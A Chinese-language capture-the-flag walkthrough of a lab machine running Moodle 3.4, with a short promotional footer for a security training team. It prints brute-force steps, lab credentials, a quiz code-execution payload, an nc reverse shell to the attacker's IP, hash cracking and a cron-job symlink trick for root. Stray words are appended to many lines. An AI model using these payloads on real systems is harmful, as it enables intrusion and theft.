Kali: 10.10.14.50
靶機地址:10.10.10.153php
先用nmap 對靶機進行掃描python
nmap -sC -sV -sT 10.10.10.153
只開啓了80端口,網頁內容以下mysql
一個靜態的網頁,還有一些其餘的頁面,Courses,Students等等sql
檢查下網頁的源代碼,在GALLERY頁面發現一個奇怪的點shell
第一個img元素多了一個onerror錯誤事件,意思是加載錯誤時在控制檯輸出(That‘s an F)安全
而後其餘的img圖片都是能正常打開惟獨第一個是沒法打開的bash
那麼可能這個圖片裏面藏着什麼東西,用curl下載來看看微信
curl http://10.10.10.153/images/5.png -o image.png
下載過來的文件是打不開的,可能它是損壞的或者它就不是一個圖片
咱們用file+cat命令查看文件類型以及文件裏面的內容網絡
他的意思是忘記了密碼的最後一位,讓咱們弄清楚密碼或者是去重置密碼
咱們用gobuster對網頁的目錄進行爆破處理curl
gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.153/ -t 50
/phpMyAdmin
/moodle
PhpMyAdmin被攔截沒法訪問,而後moodle是正常能夠訪問的
Moddle有個登錄頁面
賬戶密碼可能就是剛剛提示所說的
賬戶:Giovanni
而後密碼的最後一位咱們須要去猜解
咱們用burp的intruder模塊進行暴力猜解
加載一下兩個字典(數字+大小寫字母+特殊字符)
/usr/share/SecLists/Fuzzing/alphanum-case.txt
/usr/share/SecLists/Fuzzing/special-chars.txt
根據響應長度的不一樣,找出了最後一位的密碼位#
正確的賬戶和密碼以下:
Username:Giovanni
Password:Th4C00lTheacha#
咱們須要查看下moodle的版本,而後找對應的EXP
能夠找到任意網頁下面的(Moodle Docs for this page),查看他跳轉的url根據url參數看出它是什麼版本的
因此這個版本是3.4版本的,而後咱們去google查找3.4版本的漏洞
咱們能夠利用quiz進行代碼執行
打開編輯模式
任選一個TOP建立一個活動
點擊quiz
輸入內容,而後點擊(Save and display)
而後咱們點擊 edit quiz
並添加一個新問題。問題類型將是Calculated
而後信息隨便填寫
在answers填入(這個在這其實並不適用)
/*{a*/`$_REQUEST[sdfz]`;//{x}}`;
在實際運用的過程當中仍是會須要修改下payload的
通過2次的修改最終的payload爲
/*{a*/`$_REQUEST[sdfz]`;//{x}}
成功後就來到這個頁面
咱們將點擊Next Page訪問頁面:
若是能正常顯示說明payload沒有問題
咱們用kali監聽1337
而後在頁面後面添加以下url並訪問
&sdfz=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.50+1337+>/tmp/f
而後獲得shell
嘗試切換到用戶目錄發現不容許
因此咱們須要找到用戶的shell
而後我就返回moodle目錄查找有沒有可用線索,發現config.php配置文件
咱們經過mysql -u root -p進行登錄,可是發現不能連續性執行sql語句,shell交互性不好
咱們經過python來創建起一個shell
python -c 'import pty;pty.spawn("/bin/bash")'
執行下面2句sql:
use moodle; select username,password from mdl_user;
前3個就是被混淆過可能沒法破解,咱們看下第4個的長度
echo -n 7a860966115182402ed06375cf0a22af | wc -c
發現是32位,應該是MD5加密
破解下
賬戶:Giovannibak(這個賬戶實際上是不對的)
密碼:expelled
而後咱們切換過去
發現這個用戶有問題應該是不存在的,後來看到bak多是備用的用戶,咱們查下/etc/passwd
賬戶:giovanni
密碼:expelled
獲得user flag
接下來就是得到root權限,通過各類查找
在giovanni的work目錄下發現一個,應該是任務計劃數據備份的留下的線索
而後我看了下計劃任務
有的目錄不能訪問,有的就是各類調用,這裏我用一個就是進程過程監控工具,我只要看它到時候調用了什麼腳本生成備份數據
直接下這個已經編譯好的二進制
先看下靶機的系統
這裏我就直接下這個
接下來就是常規操做,本地用python的SimpleHTTPServer模塊開啓HTTP服務,而後靶機用wget遠程下載pspy,這裏咱們把pspy下載到靶機的/dev/shm目錄
而後chmod +x 並執行
這裏很明顯切換了root身份開始了任務計劃,同時咱們也看到了/usr/bin/backup.sh這個腳本,咱們能夠經過它獲得root shell,可是發現咱們只有執行的權限並無編輯權限
查看下文件的內容
它壓縮/home/giovanni/work/courses目錄中的全部東西,在切換到tmp目錄把壓縮包解壓到tmp目錄中去。利用這個特性,咱們rm -r 刪除原始的courses目錄,並建立root目錄的軟鏈接即ln -s /root courses
這樣腳本再次進行數據備份的時候會把root目錄下的東西解壓縮到tmp目錄,而後咱們直接cat root flag便可
Ms08067安全實驗室專一於網絡安全知識的普及和培訓。團隊已出版《Web安全***:***測試實戰指南》,《內網安全***:***測試實戰指南》,《Python安全***:***測試實戰指南》,《Java代碼安全審計(入門篇)》等書籍。
團隊公衆號按期分享關於CTF靶場、內網***、APT方面技術乾貨,從零開始、以實戰落地爲主,致力於作一個實用的乾貨分享型公衆號。加入後邀請加入內部VIP羣,內部微信羣永久有效!